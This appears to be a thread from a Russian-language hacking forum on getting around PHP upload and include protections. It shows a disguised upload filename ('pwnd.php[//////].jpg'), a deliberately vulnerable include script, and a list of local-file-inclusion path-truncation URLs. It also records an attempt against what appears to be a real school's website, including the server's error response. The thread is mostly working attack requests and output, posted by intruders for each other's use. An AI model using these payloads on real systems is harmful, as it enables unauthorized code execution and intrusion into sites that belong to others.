--UPLOAD_DATA_8CA3
Content-Disposition: form-data; name=file; filename=pwnd.php[//////].jpg
Content-Type: image/jpeg
Content-Transfer-Encoding: binary
Root-access
16.03.2010, 01:18
--UPLOAD_DATA_8CA3
Content-Disposition: form-data; name=file; filename=pwnd.php[//////].jpg
Content-Type: image/jpeg
Content-Transfer-Encoding: binary
Нет, этот трюк не выходит. То есть если писать набор слешей, они воспринимаются, как переход к новой директории, и расширение не обрезается. Если писать точки, тоже не выходит...
Strilo4ka
20.03.2010, 05:52
win xp sp2
Server API Apache 2.0 Handler
PHP Version 5.3.1
Apache/2.2.4
allow_url_fopen On
allow_url_include Off
1.php
include ($_GET['f'].'.php');
if($yes)
{
echo '<br>использовано ".": '.strlen($_GET['f']);
}
lol.txt
12345
<?$yes=1?>
Инклуд с текущего каталога!
http://localhost/include/1.php?f=lol.txt[.]
http://localhost/include/1.php?f=lol.txt[%20]
http://localhost/include/1.php?f=lol.txt[%22]
http://localhost/include/1.php?f=lol.txt[.%20]
За пределы!
http://localhost/include/1.php?f=inc/lol.txt[.]
etc
(:чтоб была ясна - не работает баг!
Strilo4ka не совсем понял что ты имела ввиду. есть такая вещь как php suhosin patch.
с последними версиями этого патча. ни нул байт не работает, ни обрезание строк.
Strilo4ka, в php 5.3+ бага закрыта
PHP Version 4.4.9
Linux
Apache 2.*
Никак не могу отбросить .php но блин как чувствую должно работать, кто нибудь эксперементировал на подобной версии?
зачастую бывает просто пишет "превышен лимит значений" и все:) и ничего интерестного просто непроисходит....
http://www.sman1-tasik.sch.id/index.php?exec=/home/sloki/user/h21071/sites/sman1-tasik.sch.id/www/theme/Demo/index.php////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
ALERT - configured GET variable value length limit exceeded - dropped variable 'exec' (attacker '00.000.000.000', file '/s/www.sman1-tasik.sch.id/www/index.php') X-Powered-By: PHP/5.2.6-1+lenny8 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Set-Cookie: maxrow=20; expires=Fri, 03-Jun-2011 17:00:00 GMT Set-Cookie: uselang=Indonesia; expires=Fri, 03-Jun-2011 17:00:00 GMT Set-Cookie: theme=Demo; expires=Fri, 03-Jun-2011 17:00:00 GMT Content-type: text/html
vBulletin® v3.8.14, Copyright ©2000-2026, vBulletin Solutions, Inc. Перевод: zCarot